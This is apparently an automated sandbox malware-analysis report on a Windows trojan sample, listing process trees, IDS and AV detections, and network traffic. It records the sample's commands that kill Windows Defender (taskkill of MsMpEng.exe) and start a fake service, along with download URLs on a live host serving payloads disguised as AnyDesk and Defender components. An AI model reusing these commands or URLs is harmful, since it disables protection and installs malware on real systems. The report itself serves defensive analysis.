conhost.exe (PID: 6956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6928 cmdline: taskkill /f /im MsMpEng.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

Conhost.exe (PID: 5984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4020 cmdline: "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2136 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

Conhost.exe (PID: 3320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 3424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5996 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7076 cmdline: taskkill /f /im MsMpEng.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3524 cmdline: "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 4188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 6796 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, ProcessId: 6796, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE UPX compressed file download possible malware

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T02:26:01.175695+0200	2001046	3	Misc activity	185.199.110.153	443	192.168.2.6	49710	TCP
2024-09-29T02:26:01.965049+0200	2001046	3	Misc activity	185.199.110.153	443	192.168.2.6	49711	TCP
2024-09-29T02:26:02.839748+0200	2001046	3	Misc activity	185.199.110.153	443	192.168.2.6	49712	TCP
2024-09-29T02:26:10.297385+0200	2001046	3	Misc activity	185.199.110.153	443	192.168.2.6	49715	TCP
2024-09-29T02:26:11.170934+0200	2001046	3	Misc activity	185.199.110.153	443	192.168.2.6	49717	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T02:26:01.082281+0200	2803305	3	Unknown Traffic	192.168.2.6	49710	185.199.110.153	443	TCP
2024-09-29T02:26:01.872232+0200	2803305	3	Unknown Traffic	192.168.2.6	49711	185.199.110.153	443	TCP
2024-09-29T02:26:02.740638+0200	2803305	3	Unknown Traffic	192.168.2.6	49712	185.199.110.153	443	TCP
2024-09-29T02:26:09.596623+0200	2803305	3	Unknown Traffic	192.168.2.6	49714	185.199.110.153	443	TCP
2024-09-29T02:26:10.202534+0200	2803305	3	Unknown Traffic	192.168.2.6	49715	185.199.110.153	443	TCP
2024-09-29T02:26:11.082553+0200	2803305	3	Unknown Traffic	192.168.2.6	49717	185.199.110.153	443	TCP
2024-09-29T02:26:17.685412+0200	2803305	3	Unknown Traffic	192.168.2.6	49721	185.199.110.153	443	TCP
2024-09-29T02:26:24.719024+0200	2803305	3	Unknown Traffic	192.168.2.6	49724	185.199.110.153	443	TCP
2024-09-29T02:26:31.217086+0200	2803305	3	Unknown Traffic	192.168.2.6	49725	185.199.110.153	443	TCP
2024-09-29T02:26:37.673371+0200	2803305	3	Unknown Traffic	192.168.2.6	49726	185.199.110.153	443	TCP
2024-09-29T02:26:44.000738+0200	2803305	3	Unknown Traffic	192.168.2.6	49728	185.199.110.153	443	TCP
2024-09-29T02:26:50.547457+0200	2803305	3	Unknown Traffic	192.168.2.6	49729	185.199.110.153	443	TCP
2024-09-29T02:26:56.517807+0200	2803305	3	Unknown Traffic	192.168.2.6	49731	185.199.110.153	443	TCP
2024-09-29T02:27:02.499688+0200	2803305	3	Unknown Traffic	192.168.2.6	49733	185.199.110.153	443	TCP
2024-09-29T02:27:08.462279+0200	2803305	3	Unknown Traffic	192.168.2.6	49734	185.199.110.153	443	TCP
2024-09-29T02:27:14.453356+0200	2803305	3	Unknown Traffic	192.168.2.6	49735	185.199.110.153	443	TCP
2024-09-29T02:27:20.468666+0200	2803305	3	Unknown Traffic	192.168.2.6	49736	185.199.110.153	443	TCP
2024-09-29T02:27:26.655782+0200	2803305	3	Unknown Traffic	192.168.2.6	49737	185.199.110.153	443	TCP
2024-09-29T02:27:32.889465+0200	2803305	3	Unknown Traffic	192.168.2.6	49739	185.199.110.153	443	TCP
2024-09-29T02:27:39.281130+0200	2803305	3	Unknown Traffic	192.168.2.6	49740	185.199.110.153	443	TCP
2024-09-29T02:27:45.756534+0200	2803305	3	Unknown Traffic	192.168.2.6	49741	185.199.110.153	443	TCP
2024-09-29T02:27:52.185949+0200	2803305	3	Unknown Traffic	192.168.2.6	49742	185.199.110.153	443	TCP
2024-09-29T02:27:58.464364+0200	2803305	3	Unknown Traffic	192.168.2.6	49743	185.199.110.153	443	TCP
2024-09-29T02:28:04.777993+0200	2803305	3	Unknown Traffic	192.168.2.6	49744	185.199.110.153	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\MicrosoftWindowsDefenderCoreService[1].exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\AnyDeskCrashHandler[1].exe	ReversingLabs: Detection: 28%
Source: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskUpdateService[1].exe	ReversingLabs: Detection: 31%
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	ReversingLabs: Detection: 28%
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	ReversingLabs: Detection: 31%
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	ReversingLabs: Detection: 41%

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown	HTTPS traffic detected: 185.199.110.153:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.153:443 -> 192.168.2.6:49714 version: TLS 1.2

Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C78832B4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6C78832B4
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: 5_2_00007FF76E1A9B94 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00007FF76E1A9B94
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Code function: 7_2_00007FF7AA9590E0 FindFirstFileExW,	7_2_00007FF7AA9590E0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: 25_2_00007FF71DDB32B4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	25_2_00007FF71DDB32B4

Source: global traffic	HTTP traffic detected: GET /file/AnyDeskShellIntegration.dll HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/AnyDeskCrashHandler.exe HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/MicrosoftWindowsDefenderCoreService.exe HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/AnyDeskUpdateService.exe HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/AnyDeskShellIntegration.dll HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io

Source: Joe Sandbox View	IP Address: 185.199.110.153 185.199.110.153
Source: Joe Sandbox View	IP Address: 185.199.110.153 185.199.110.153

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49714 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49717 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49735 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49721 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49740 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49710 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49724 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49733 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49742 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49737 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49743 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49725 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49712 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49715 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49734 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49739 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49711 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49726 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2001046 - Severity 3 - ET MALWARE UPX compressed file download possible malware : 185.199.110.153:443 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2001046 - Severity 3 - ET MALWARE UPX compressed file download possible malware : 185.199.110.153:443 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2001046 - Severity 3 - ET MALWARE UPX compressed file download possible malware : 185.199.110.153:443 -> 192.168.2.6:49717
Source: Network traffic	Suricata IDS: 2001046 - Severity 3 - ET MALWARE UPX compressed file download possible malware : 185.199.110.153:443 -> 192.168.2.6:49712
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49728 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2001046 - Severity 3 - ET MALWARE UPX compressed file download possible malware : 185.199.110.153:443 -> 192.168.2.6:49711
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49736 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49744 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49729 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49741 -> 185.199.110.153:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49731 -> 185.199.110.153:443

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Code function: 0_2_00007FF6C785CDF0 InternetOpenW,InternetOpenUrlW,CreateFileW,InternetReadFile,WriteFile,InternetReadFile,CloseHandle,

0_2_00007FF6C785CDF0

Source: global traffic	HTTP traffic detected: GET /file/AnyDeskShellIntegration.dll HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/AnyDeskCrashHandler.exe HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/MicrosoftWindowsDefenderCoreService.exe HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/AnyDeskUpdateService.exe HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/AnyDeskShellIntegration.dll HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io
Source: global traffic	HTTP traffic detected: GET /file/version.txt HTTP/1.1Host: duy-thanh.github.io

Source: global traffic

DNS traffic detected: DNS query: duy-thanh.github.io

Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000002.2170001507.00000276209D5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381038957.000001F7B17DA000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386691306.000001F7B1727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/1
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/=R
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000002.2170001507.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2943264967.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2324213769.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2253907648.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2580698857.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2702146475.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2881888934.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, AnyDeskUpdateService.exe	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskCrashHandler.exe
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2943264967.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskCrashHandler.execdf-ms
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516843651.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2821679076.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452545323.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskCrashHandler.exedll
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386441778.00000004C6DF9000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskCrashHandler.exehttps://duy-thanh.github.io/file/AnyDeskUpda
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskCrashHandler.exen
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516843651.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskCrashHandler.exetup
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskCrashHandler.exetup%l
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskCrashHandler.exetupz
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskCrashHandler.exey
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2642623988.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2702146475.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskCrashHandler.exez
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386441778.00000004C6DF9000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskS
Source: AnyDeskUpdateService.exe, 00000020.00000002.3385629324.0000009560FAC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskShellIntegratL
Source: AnyDeskUpdateService.exe, 00000020.00000002.3386537801.0000009561CFD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskShellIntegratP
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2821679076.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452545323.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, AnyDeskUpdateService.exe	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskShellIntegration.dll
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskShellIntegration.dll(l
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2642623988.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2702146475.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskShellIntegration.dll8l
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381142881.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2943264967.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2324213769.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2253907648.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516843651.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2580698857.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2642623988.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2702146475.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2881888934.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2821679076.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452545323.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskShellIntegration.dllRo-
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381142881.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2324213769.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2253907648.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskShellIntegration.dllao
